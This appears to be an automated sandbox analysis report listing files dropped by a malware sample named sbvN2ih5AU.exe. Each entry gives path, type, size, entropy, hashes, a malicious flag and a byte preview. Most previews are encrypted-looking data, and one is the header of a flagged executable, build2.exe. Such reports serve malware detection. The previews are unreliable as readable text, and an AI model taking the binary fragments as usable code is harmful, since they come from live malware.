3...H.;E..v........A.l..5.7.$.._.$.?....,..o...S......0..B.J[..."g7G'P.I.LU:.v..........*.........\|&{....:...b#.;3.?!Y..o..3.q..[Ar...?xc..b......W..L..c.".(=...5....o[o_j@.1=9Y7....w>.s....Y..G<.uO...a...3.R.......?Z9

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7458
Entropy (8bit):	7.977707016193139
Encrypted:	false
SSDEEP:	192:28TkGlEP+fHpZM+yL72HwfNhcJfheuNab:T1ldfTqHewfNatNab
MD5:	411DB01FFC542E28F0506F33FEE02208
SHA1:	29C396AFAB8867EBA37554CAFCE2297E53183C5C
SHA-256:	E2233A60F86B27CEF988BE2B9E0EDCDC30DBEB96EAD08AE04FBC25F809B91037
SHA-512:	98AD1284AA5F408212769683ED7B17408C93FF4CB4D20F633D1A75C2485CDB6B60785164D82D9BF4346672F80D6898C988F07DDA2F693B2EB5014CB6E82774AB
Malicious:	false
Preview:	<svg .6..:@t..-.d#.-bR...Uu...../.zz.m.!...k.....E.5;..Qo..Ti&o.qju.L'x...C.4;}.$....%..`.f..C.rz...~YTz.cN.r6.z..R.:.Y...$x..y..w........f. ..!V..W.....Vy..>.A.B..dG;..FG0....i..w..g!\....H.l.......{E..Z...$.Z.l.........F....:.8.XQl...i.....Rpz..p."...U.=......<W..s..6..j..k..T.....W9.;.Bk..../.......1..S.....C.m.....Z.4...~.?...UI.....ZCp.;...=3.K..Q..xk..w...d&.>..P.S..Zy...N\.:S....:..Gj.B...}o....W(d...T..e.6.....=Pb.P....3M....m...a.r(.LK.....'@...B\w...U.H......p.oU"..R.....#"...;....L...?.PW.x.4....#.....0@~...6.... .....&..sl...fv....a...m.i\.b@drX_,&q..k!...o..NXU..,.Sx.d......... g..\u=.]..p48^.2Rc.=.l7V.....1.K..n...82=4.E.U...6{...9...(b2..........m.oQ..1l..X.....S....F.....5.7#.ZU.."....u...'....T...t..Sn#..I'4.D...+.g...Z/.j..O.t.gb..l.*.......';'.u.....@...;wj.<Mg.=.....gW.$..$P.9...,.y..._.t..7.o...$.)u.=...pi..-.}...AMa...3.1.H............:.]8..."....^...C.........&H.......I.q.:....\..x.5.D.wd....h..g.....g.............}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	6854
Entropy (8bit):	7.973445840802697
Encrypted:	false
SSDEEP:	96:sVFgVStr5yvfupc7UFrJg/wnDZAPPtFwEnqS74x63ZkMViO9q844JGug8CIc:QgV8c7UF64nDANqo3ZkMj9q8DGrH
MD5:	67067F6195E5BFE8402C113A7B898938
SHA1:	748F259CC8BD4FEB7523AB90069618F3828C21B6
SHA-256:	AF5C297373CB9A8D26D7127CB3AFCF480EDBCE3F381A8D38C0F4AAD6C8910484
SHA-512:	A23332F43235B87B3BE78F772C029E68C324BF99A27C0F5DF769876C86BFD1144538BF171721C96E6ECFE38580FA83F6698796DFC6707AA6B153EB088E8697C1
Malicious:	false
Preview:	<svg .\|V.....g.u...Y...o.[W.t?.E....4..s.4...a.....i... .1B.CGzao!\|,.VB.1GF.U.8mE<.D.mY..._..`r....F..D..#.X.f..A!.K..l...r.....Z.KM..M26.pZ..W......;..RZ...5)...D..3.... %#..q.w]....\..l.3..-..N..8=2..9.L............Rz7Z...q\|=.7Z..@+9...~..!=....q..2N)1.+:...p...6F".0.....wy.S...u...$.}..i...:.XW.........5..N...c>4..A....F"..A.]..ZA.......><.....<.D..H.......b..g.L=.....2..........}..P.:....j...<".S.k....,O.O.H..../W.m.....e..}.hfA..p...).g.d.\.C.W....X...P... .....c..;..t....+.0.,...Q5V.9.......0....6H..xr.##..l....>.5..a.1.y4Rx..{.....`...A5..q...7s.c....xXsM..8.-]r....4..O....g.e'.7n.}.\|.m..........}......`B.&.>u..}...........<..\..:.......,0...[....e..4.J........;(V.L.z......g.......iw.p.)6.p.X.m.EA....no..H..P.....3#.....".wxp._...]:-...m.EK.Fz.\|..e..~.+<.'..?U......../nrM......Y.~.C&YJ....b6...(...%SY`+.....^eJ.G3....{.7.j.AQ).wT.}=..5\|_@.......D.2B....&.<..!,bg ...\|...>{o.J._...$........}.....6Px..TZc..p.....%_g.?C.3N..n%.A..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	149024
Entropy (8bit):	7.998711230005402
Encrypted:	true
SSDEEP:	3072:VVSsVHP//4Vw50mb7UgOeu3CJuclobYxWNux+ks7W/YK:VU8H/4VwmmbB3u3eobYgTtID
MD5:	0D9CA121B5C1CBB64AF7B4A9E59BE8B0
SHA1:	973F1E618E893BC788DD8965799A6AC2486299CC
SHA-256:	CA94E736AC557EC104594E47DD9B3679E2D3AE7F6E27F859BBE7ECA66306AC26
SHA-512:	FA389B9CDBE3E320AAA70B57BE1C81622BA24025159BECDFDA6C3602A125E03441C11A054C96F6FCF7EC9450F8DE91D429E459D5524BE9ECE8FB2D17CF885C9D
Malicious:	true
Preview:	{"loc..?. ..a-.......%...3L.._...W .........4-..?.#au..j.(.n..=........e]....+.,..<b..j^PW..~8.7..o.#%.%..!S..U...\...!...3......x.....Va......5.7g..CDe. ....4f.6Q..=....A..P\|......ehz.g `.w.qp....ud$W.IR.E../c...L..y&........a.,.I.M.XB5..9.=.l..w..\Z...NGe.....U:.C.k3,.DH...@..........~......z.2R]...cvz.'K...FE............jK<\|!....U.......v.j..K}.H....m..!AD.2.Z..^....ZN."...E;.[[..I}..p..E.z.......+...qU...:.eW.(..... .);...#.t....0@P.,$..V.M...dE.K.j..F.2.;./....Py...r...1...a.x]}..n.Q..x../U....lU......U ....]..S.&.j..i...FV..yQ..eD.[n.........'k..H....A..S.......+v...:...D,. .....5u...8w0`2....b.....4.f........{H.s.......S=q}.X..az.......6...)q.c.r.[S........!.2.IA...S.....6..m...u>.....q..z_Q@..d../....0.8.....I2).$~...=n.Z.5.S......#..,.9..m......q.Z.e(.>...^)...(..P.1?..b...n..CMo.7.....3Q.. I.P.6[.X\|..N...i...K..J/.....&......k..@......!u..]...V..E.\|....!%.z..I..zO..xq.U........~?..5......%:..L6.C.';.4.=TP@..I...Bs

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978695767153373
Encrypted:	false
SSDEEP:	192:wlVapdV30Vm1po6L+xcZRye9/cPXDFx8AF2hH7hlf4P:cap/ocbB9/Ch+Awbbq
MD5:	4D8EF28B79E047D814026CA5DB20BE4D
SHA1:	C5C326DBB154E9D53BE8156A5198B03AD46AD519
SHA-256:	C649A21846A1C33107AFFC8DD1BBEB7332CBE944A2B4DB9C344E79812B10B728
SHA-512:	0F46E94DDB4EE9B9C893B1C1D471292BA33263671B4D279C54C6BC3CFB24B2BC1074CE254262C44BBA8CC8DEBDC6CF96B3CA53189013042127A2A3D812742443
Malicious:	false
Preview:	regf.#Z}S?f}..?. ...^Z...#....o<..VT.$...]...........}G:?.F.......#.0..d...H./.-...N.......i....Y...c.(#...b.gz........2$...c.........R.7w...E.o.8.....g.q1.....Zf.hJ........+."..Y..k..=..q..}.....R^OEQ.............CK.~J.W.......1...yQ.=w.Bt.q.]...i..y..0.c..^......P.....B...i.W..t."].V;N.G#....-L.~ ....%,...:..S..._...r.$....1.C.z....$#..4{......o)8..X-d;.....!.Tc......&.:..l.r.._.x..!`'...aai..Z...C)....# -6Q4..{........3q.Nz.{H.06t\|.....iyh....N..c....X.?.5.5.k[.v.g1....R...c.i..>+9H>d.e ..r!c.d.b....>K.-l.@.....][.C.p/Z.WYx.x.....!....n.U%Z.].....y.........P....-..e.s..wc4...J...HZ.!......Lb..M...^.....<G.Hc.i-m.?l.3.".Q......C5....A5;..f.Y.N....(^Cu9M./:..$.I...GV..].eip6V.3.A.GW.Z..\`b.F.(..o.U.U]..3'..\..6..sV\.Y..l'..j.uuh..V....{......W..yun...h..PE-..Bf.O.....E..K......M..M.@B..K`$.f...R..EvF!......`.#.\.f.M.\|.......R..I...o........\|=....K...9h..).O....Ih..~t.H7$.M..u.H..1....n#.sq....K.U.\|#.......H2.....k.}...{...H

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976986989253668
Encrypted:	false
SSDEEP:	192:NXk83AwCurtgPEy9IFvd+EqAAYhPu0DAXwU6Kuhc9:BkUAwCuicpqmhm0cXgc
MD5:	8EC46E748DACB2B7DE49794A8E25D5A2
SHA1:	07CEE601B9020172C609F372CC017FAE379C5A7A
SHA-256:	A0B0355813B5F44D889FBB1DDCB9398E1C652B8883FDA7DA85F1F644A12A5C91
SHA-512:	569B404E81CFCDADB4DF0DE37670DACF0A3AC0C4AF6C85A486F2894BA11F35D76C97EC0C4E8114F2C4021449A9EA87751917EEB1DB08E52452C1767F5AF0947C
Malicious:	false
Preview:	regf..-=.k\.q......U.....^..EE.I.....g..A`....g[4.\.%..M....8...w.hg....\.I.t.".Jg..Vk>Dt..s....-..KXN.e.o..W..j$R^..4...'......&.t..U.\........f.......oi....\.?...TU.................V.u..Rh...(6)...!.=.....t.;.....I^{]T...S.:...F..,.dCQ..aA...Yi.d...02"..C..;..w.p-.E.[.}..M\.d..V.V'A..J....o.s..........R......3..J..{.r..dC........{.z..5..J..j.16.n......f.......my.;C\5F..c:.?....Mk..b......b...(....h5..>E.d.R./....4.....\|.I.\|..i`.?....u.. /....?:p.\..xy.=..L.p............r-...p...p.0..~..w..N.D4SG.....C...-.%...)3..$.1..l1..6d1....)L=;M.. .3...RcF/...k.X.hI.7...G.....e.7..... .DA@..'U.".....M..L[kg..vPK..n....My"d.'.mK\|.@....s"9..tpH..&j...^v.;.<...s...".....p.....G2...E..q.Ezv.>..Rn.:.........T..z......3<G..).eN..Y.....XH...9.B.6.>i.y'.uZ.....<K#5.P....m.6=]g..\|%a...z7.~.UY.v.......Q..I1...Vo..].D..q.b0.V......h%..4.?/..\.o.?d#......H...2.=...:?js...'l.K]..V.2[..}.<..l~........l.p}..n3.P../.*`=[.v.......Y....9.Pd..ds:

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\LocalState\DiagOutputDir\LogFile_October_3_2023__13_9_20.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.58529953429642
Encrypted:	false
SSDEEP:	12:in58hV+7B7TlhTVO43l8hPpk2JqUwkcAJpnjJhuIJmJQz3eWSUdNcii9a:77+FP4418hPpksqVSJNhhFuV2bD
MD5:	A6105F04BA24F003A44D9EF8F98E80C7
SHA1:	07358B75D8F44A0F0E4C080081468D48D3029372
SHA-256:	A00BD34C10783F0F1821BFD9E30B45865EDB534A8D59215DD727572568818D2E
SHA-512:	C029D243FF33ECA0407785C68591CB0155C1BEF2841DC7D1B451F480CF080073AE361BF6971A1B44E448E85003F76047275B72D4C58A5C3F6C94252A52E13298
Malicious:	false
Preview:	[000:....V4.....hcv.%J..KY.i.G_q.W3.4.S.K....V.-.......[\qM............3...A....;.E..R.....q.RI......5..sd.f..Y.T..4.."Wyq........._...!..3O...AY...{{....6.VG.<.(.l.e-.S.....?..Iy......{..zC..a..n.f...J..z....x....../..'Z~..e..88.....i..Bn.v8......l.o...gJpS..[..f..G....OM..B#d.O.y..........C...k...r...2.dp..(.am-.K...(.?W..l....#......p,.....q....qX.ah...)1..].7XB.2D.yOp..9....Y.v.@O.l#j._.A_.Q.r.Vo... ........U0\...`..qf..6.4.......L.GM.LIE.9QD...F!..^...n.:p;.MW..{U=V..,.@..(......7.}.CZ....#....-.o....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.205084635870749
Encrypted:	false
SSDEEP:	49152:zdus55R38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOY:zx55tF1qd/LKNY
MD5:	882DE2ED8B325AA73C837151AF5F9C1A
SHA1:	94216685AAB41D0C77C8D0CD4C384978819FA4F8
SHA-256:	8C49F8F2FC0BA48713DBA047A4EC7648A49224746AAB8B87BE4F4DDE594884D7
SHA-512:	D853B87580EAFE6FF201DAAE03126BEA48D4E295980B280A6DE55792A43A6C6F2190369B3FB0C0B7C936F184DC47FB49AC2445B65DAD971451CCB3D2F69BF964
Malicious:	false
Preview:	Micro.I.\&..p&.L.vt....k..3....xd.f...m..WB.V..._2pQ..i...m...R8I....C.V...\....w%...<k.u.u.u5....oI[..r...~...._./..A..{.H..?......a}...q.!5.nq.N........:.DT4.?H!{...u.&#(@`V......v........../........l.....2P+(.xz\.G.....s.YS#.N...q..0..._.g.].............Wg[`4..Y.!X..j..).......C.).Fk<;...SuD}n.......7....<...=0...-.p.f....u.1......VE+........&0....-..;.(..............r.Y......?..Z....]...Fp.......%....vU0..........."M7.y$.>._.l....m'....@..`..2..j........+L.......#.[n..........f..o.Y..............TO.....Y.R..~n.....(..&Yr..F.;p...Hc.........[...l.....0..Z..(.......f.!..,.......fq..+..>6.H..pV...!t2nE.....Y..b._+.\|.`......f....Xgn.......+....1#.u...K.B.w1.........=...._....r4j....$.<..!...jh.W.X...-.X...0.+tr..n...[...5r!O.....%...".7./.....a...).`..a...T..~Fl.'3Bo..RPhQ..i...M..C}... a..~.L..?^4.=.......8&$4.0..!..,;7....T.W.u....px.u.m.c.3..t.T/..[.D/I4.A.!....vp..0...s?..'.z..G.>.>.'....:.....!..BJ..M..^.>`.\|.7cy........nE.K.a

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.205042861781197
Encrypted:	false
SSDEEP:	49152:Bm1FhK38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOB:Bmh8F1qd/LKNB
MD5:	CA13212EB8188EE9B9D05AD563074BDA
SHA1:	D4D586180C4F6259017AFCA76F0BEC3ED70E4F22
SHA-256:	83E9EAACAB2713297F06CAC917AB9A64BCE877F94BEB68FE819A4EF028846532
SHA-512:	E10BB732729A1075596D3557D5B5BE3DBD767A22B1114758DAADCEECCAF29FAA6082A8DE3BE749A13417BE70D1E0B27C80E756C1B1F7071B4A181EB446B3764D
Malicious:	false
Preview:	Micro....).^.EC.."...j....8w.......)@.w....P)l...c.....nb....\|rI..>(7jT....1P`.+.UP.+C,...sD%.ve...G.....NF.....uK\|-2.m.......w..."._./?Vw.[.VzU.7[.....X.....1..F..c..bM.?.@.wl..^b#r)x....\.F..A.....Q...gd.~.....8.G.[.I.Z-../.D...&....gB...9$..Y.xB...B...B...........W...q.~d......Oo.j.%_....Ch..F_.Z....w..X.,~..%...i.PI....&\3o..C......u.Y(.....\e+.'8..&v.p$r...........3..._@....t.<.Us....n.}.....w1L.`..+\..{du...O..s.H.....Cst)W.%G.._........t....&.]...v..G.Q.....lT7..Q...!.Z..nf.&!i...O....9Y\NJ)Cf.>l._L.........y....mG..9.K]}.8.......y...`l....2Y...4..J@..T...BlsX..Y..&6Y. MS..4.....%...+ID.R..p.v;..h...a....d.d....W...""5....O<....qP.=.$........ .D,.......`..t.....~s}<.KsZ.J..4.E.&L.g...N....p(.f^.j....Q......s.BAK.d$.6.,9a.....$-mS.....(HC....9..Y...`%.6.J..?...W7.X....em..G.$ ...d...;Q7.d....+-.hu...0.a...R.......@...-........J...5.4....T.XWi.[,c.....1xm........Kr........I..?...)F."c...W`._.[..L.."..l.+^.N,..\|)G..9.

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662970409111033
Encrypted:	false
SSDEEP:	12288:r6XjUctEqA1x4paWJQ4aKVmaS4aMz8Pg3lxJo2cvXtr:6xneScWBaKVzaYcAqtr
MD5:	0FB881CF7F6E72FD3EF7B80A216884B2
SHA1:	F9910A2592F6AB2F14827D05A8FD5E4E25852D03
SHA-256:	627081F6D37B2C70931A47955BDD25A33A3123E023104F4F081A3046AC8407D1
SHA-512:	9BDFD715828E7DF14B493AE4AC12A6EAC0F5D75578F49ED4AADCA0E7F75594C2697DC12515EB8869AD96567CEC12F3E0037324C227AB520448E75890D5A34886
Malicious:	false
Preview:	Micro/~..___!...K.u....cU&..v-..=H.Du.`..%.:Z.%8.. A.~..K..--...~CW....Qt..................d...6.D.R.WfI0.3..C/....p.z7.Q7......Z,.m.q...;.. b..j$.......6.N....`s.z..^..s......;\|.._.=.9.,..V..&.(....y..Q...`..8.~..WQ..~.o..{.R3..K07V ...w...).wz.l.......Zi;#.{}.e.G.3MTN2]..7S.".Q(.......u$.H'.^f2Z.9......$.......SC...........T.....1....]..\#\!.....F5.....@..j.5d.b.C..)$j....._!7..s..v.r.o6D.C..G..Ha.}..}.....>.~....~.JR..p&..d.q.L..y.....N...!7.E.....O....,...u....N...QT.K.q.. ..\3Z3....\|..gO.d~=7......X>.nt}M.\|2_....0..v......,..VGA....]. n.%..H ..G;..~RzI......W...Qe.{..k.<.V1.O.o.>1.1.Of.e....u...0..0./.^..Kf0./.<....?l..-..2T...E.6G.F.&.l.0m...fKe.o.gX........-.J.m."..z./7........f..}........kd.s....mO8......M.t;>c.#.Pi#,..oq...]...........L..()......B...X.H$.......8.J0.UW:..yP.g.,.:($..y..'...g........$.pN....FZl..Q~...*.W.\..p...%D.e.....U.:..>...6.~....A.....=r.u.:...X[....i...U..o.\..U.=UH!/&...K.y...{..v\...!

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662064560614912
Encrypted:	false
SSDEEP:	12288:+JacwHa3+ouHf+KyJQ4aKVmaS4aMz8Pg3lxJo2cvXtp:+1KauHlyBaKVzaYcAqtp
MD5:	5C3BBD2A5C6C16A9456E20AF85F1197D
SHA1:	008DA87A60ABD652EA8DDDF15F740A0377FFDBE3
SHA-256:	D0E37CA1039E6268A6399D415681300A125CA58DB027CD76DCAC80BE46308202
SHA-512:	05ED6699B39FA659C9522C557673382D98AF39D253EB2A0355BC2A5BE5C0654F4B01EE6A90D61158616B298ECD7C8ACA6EF994EB7EB5CDA61044D9257FB8BD89
Malicious:	false
Preview:	Micro....\)...........v..H..m.H?.Gv.N..ok..,5t...[.......@...A'.`;.}.[..q....>.)..._C......i..Q..}..n......H..M._D..r....m....?^.........T..Z...ak.R..>..L...H.]....{..7......_.\.vz.,..`..&.m.Jf..P.?....$.....)...FT.2_GU.8.`9%..G.....!p6..e4U~..q....b.3l.{y.w=...;c$...../N?.........+jM.f...u..&M\.l..'.}.)@{.C.w....&..h.(...F.r..j..m...].....A....!.FT..I..._.d..r..[..d.r...~1..\|.=..1...*.H...B8.5:.2...o..H.J......o.>m2..u..\..u.xN....j.#2....Pz..(...l8.o..o...=$G..Da[.6....N.D..dc....:6^k.&..[...b....W.G.z....X.....+cRc`...}D...O..m.5~}).k.....<..f.{C+(h.(J.....[.......#.H.....=..z(qQ.... Je4.q....w.a.2...h..A...\|.'H......9K....r.......>M...6..P".'...7.....e.!..R.z}....L.v{j....$.V.s.....:\v....<V.WO.5....._.E?2).q0a.....!U..y.:...8!..f.@!....?RA...\.by...L.z..%f.......,.......lb\|.....Rgo..2..MN..(...5Y_sF...Zs....d.!.v.@`.....j9..E0.-U...0.........\|..........E...].q...?.yJW.]w.<...'t.....iG.Mqou..&......R.&...g;Z.t..}t....7..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.992563054889235
Encrypted:	true
SSDEEP:	384:JQdFf6lR6WywyUd6kD6tnWah/U0LpITFTsLrt2Q/dRKK15geCEWyHF6Qhz:JW+RLywyUcE6nWahUspITFTcrkid8K1V
MD5:	A546DD62C69423979F4CFD290DA5457E
SHA1:	AB23C9646E76ABDEE60CE40087A14F91C2750137
SHA-256:	3DF9F97BDB967166DD44217BB8C0334A902B073C27D04911341202E0DCEE75E5
SHA-512:	22ACFAAC915C64B88BCE0B1AE8B13866147194D96257E923AC3585582DC0A37FC1E4E303C26C7648FA51679B9FB67FA1DEC9D1BD1D3591B022CBCA7FD8855E87
Malicious:	true
Preview:	03-10.wM..c\|]._...O.i..^.G6.....G...,%]...U..\U)...ID._x......_..S........`i..8~h..n.9....v30..}..j5.......k..$..M.....i..L.=X.$.Aw#r.ph...3.m...`...N..+......>J6...H.[.a.........0D......O{,...=.Q...[...C.M.#.....z<......m.%>T....Jz}c...!...v%...D6.}.nsL#.S.D.zu`.^...N'gXf....9Z..T.Wz.e.h..bw]...u.c...l4+A....#So..(..\.X.D.Z.Uw@...T...rG../.....[..@H....e.,;e.F.:e..B.4.9OJ)y~..\|.........=....B.(.Kg<...m..k.,.#..w.;yX....~...InA.V....v...l....n.IW.z..3.OnF-GP3..1D.....E.:&..lN.F^..3..$L.fjs.#X.0f......#<..4...... .M......5.q..B>8...X./7..sN..U.C...JD)..z.....@....D...I.\...&eQ..f.j.;.U..I.....i...B...N..b...(;..P..b....Lr%%..By.{.X...o]..q`..L..=..\....C..\|V.....:.P.='A._..0,.\|.m...._..8.a..H.*..E.[..%'\...{....L.K......0....+.w.-.u.1..n@,..<...27.....+{...;(.p.D..$.<..p+.I.2....8~...\|...n#.N3......O.r...-4.>{w. ..@.?..>1..H.r._ .....b.{..8..p.,W,1n).8........^.X.l.=......}T.Q...+.IdfM..-d.l..{...WH.....Q..=........._z.\|..

C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	367104
Entropy (8bit):	6.976668751990096
Encrypted:	false
SSDEEP:	6144:pfLgtyckjU51Vc7lLUvTlR2agQAYNMQSnjbeg:pfMtycGU5/klLUvTlR5Aiuv
MD5:	C4070DA9F9B0581171AF16E681CCDFF8
SHA1:	3FB4182921FDC3ACD7873EBE113AC5522585312A
SHA-256:	26063C78E5418610471A9F3A00A155D7D1E5B29856E1979BA3BDC42681A871D0
SHA-512:	C7569CEA7F1A841E7CAC9CD41287DBA3BCACF2CF9DEE7BECE88800848A7AD5DC4CD2BDC896C7389F0F1144079BBE168048B3F722BCD76FA5D6E14F3081BB6427
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`...$...$...$...:...5...:...v...:........A..'...$...x...:...%...:...%...:...%...Rich$...........................PE..L......d............................."....... ....@.................................W}......................................\U..(............................................................H......XH..@............ ..t............................text...y........................... ..`.rdata...=... ...>..................@..@.data...\|....`.......P..............@....tls................................@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	67138
Entropy (8bit):	7.997051227205095
Encrypted:	true
SSDEEP:	1536:v7GCgFSf5vV+2ZEpnGAQgfEPQLpscvAOFkA6SCkIOa8q:v7Gmd+NyRPQycIOFk9SC9Oa8q
MD5:	DD4B4ECC1A8640E99009D41C4239E5EA
SHA1:	405D4D5600011E0F4EC38548216057C876CEF569
SHA-256:	81B1C3E568868FBD386D01E6AA12B3E544C95607BA1D8AD2FEA39FDB38F34F05
SHA-512:	823953D170766EC521B91A60F063F0455CBBB76DC10C9B02CD93E02025732F626C297FE42B20F6F189DD8954F59AC424C27A1B306AC6F0575334523061C7C476
Malicious:	true
Preview:	0.....RxE%.GUc.B<..&....msyi...x.n..^...\....(oy..N.dNB~'...T....~I.J.....R4....?......v....2Z...k.c.C>,............Z....Q.@...fz)....Z.i....85.?.....\|.t..YH.+4.U.a..o.?gf.....B m......D..i.r...<.L...?.WP....?.....-5k....".e.!..x..}T..f._r..A.[".Oo{._f..0..h..;.i.&.......C.VTN..,.h.%.U..K.d..=.r.4z..\.E.g.#.. .?..4.\|._.....!=......=s....x.}..'.cugr..l....JO~.l.1...Iv..z...HU..........kr......O/O.cg..$.O=..:.p.Y...%.\..T......X(q/...g..S,....g`.1.a.p ..T...n.....^...z...G....j........0i5.....>...!.j.h..^W...i...#..t..+N.c...M..D~..Q..l-6.a!2...D.d....n].ydG.T........44.$.....+.%.=6`CC(.&s.+...+g....nM..}.7........+;....JNqB.kh....\..,...rq."..r....+\|..<.4..m...x. ...2....{.......+..@~8.{?..=...<{$...Rr.1.@.zL}.......g.....\|...'........Nl..kz...e...Z7h..g../...q...!..B..H$....C....../n.2.x....O..B-.X....5=.O..-.....^F....l.D....R7:<.T....G.3.J.r..;.Z.E...q...E[.c.'^..t......%96+..`.<.+..Nt.Mt...#.O.0.S+...-..*..uGt... .B.. .T.mtb

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	7.8156974158877
Encrypted:	false
SSDEEP:	24:yj/RFpauDQSTrOGvj/rv3ZiVxVHOfcI3y+fGLEvG2bD:ypauJOuj/r/Zi5OEj4G4FD
MD5:	8AD32451B32F84B178D79B5F6F1C08F2
SHA1:	6CAD99D1052CCCFCA20F2349CBBAEB2FABF452F3
SHA-256:	D561421E2D52DB487A0874C19CF3C03F6AFBE9594856884D7CD0E0B674BB5359
SHA-512:	E0AFD9D47CE306B931A4AA689A2A85B917585CFF945A00D6232EFE3483FD597F2CEF52FD517659A2A53CCE846F340C1F1AA8E16417299E6A04B8FA6689CA049B
Malicious:	false
Preview:	0...0..U...BL.v..cH"......g...\....F-=H.=...B.`.V5..]!..]+..8..I..E.1..T....&....f.2.-.d.....-..O....[U3..4.G...l....p.Nt..5lr.;Ana..m"!...Om......#......W.....Y..?.%.X..{.......j..t.e..F.R..hR.~.B l1.m+G.6~c..T..N..9a....@.......<f}....~.....K...@.m.h...A.q..wQ...".[;...L8. p........v.cF<...=..c/b3.pA.P.........-q.R.\.0P.@.{..?..gA...&p.H.........Z.8..e.2..)`..k..}.;...q...9..R$.'.f..[..}.$G.sc.{\.......t.U.lZ..5...}..T. ....y \O.s@...o7u&...v.1...1...J[d=,..jQi..X.(.......Y..Z....+.(....<1k...9.4..S.e0..u.G...rH......"\#.Ci8......84.\|.-....n/0.....j...Oa......o..".....e..C..C..a....-.y7..9..N.[....#..:.J.F.M.i.^.d9..FZ........(1.....z...........w.....;........H.%.^wI.[..H.u."......^....=V;.Zv...H.Biw..sy.e.......U...e#H.V..3..9.`...N\.s..)J..S[..w...3...`...i..g>J<s.%...38.M..g.........^1...'.?jc....(.D...:..d.R7.\|..[M..C.....E.:m..!..g....>.(...y..1`.X{....IZ.\|W..4..$m T.n..i..#.%.Ve.h.WM..Mb.*.~!...g5.A..{l6.}w;V}.8+..(mMsRxMU

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.275902754140982
Encrypted:	false
SSDEEP:	6:B4+PqBx5ziGOBI0MbJa3LIXkDOfExrp/b7WYKzFUqIC3hIdQSAHInIS1WdNcii9a:B4+P052GO9MbJa3J6fEH/bqzchAZSUdV
MD5:	21D7695706D11FC1D3D5B4CBE8342653
SHA1:	185C5DEDDBE90E8D42682D4246B5099737ABCAC2
SHA-256:	6A23E6B67D4669BA2E60607D6623E23C618D6B877B68721B00EBAE79B636D905
SHA-512:	4E2AA198F4EA8DD7C2EBA1AC7EB3308D35D88A4A70E855EF4877957DE34D3782EDE6B3230D950E6C2002C163E3B304EE49A5927349FF52119FAED5BB0A3FCEE6
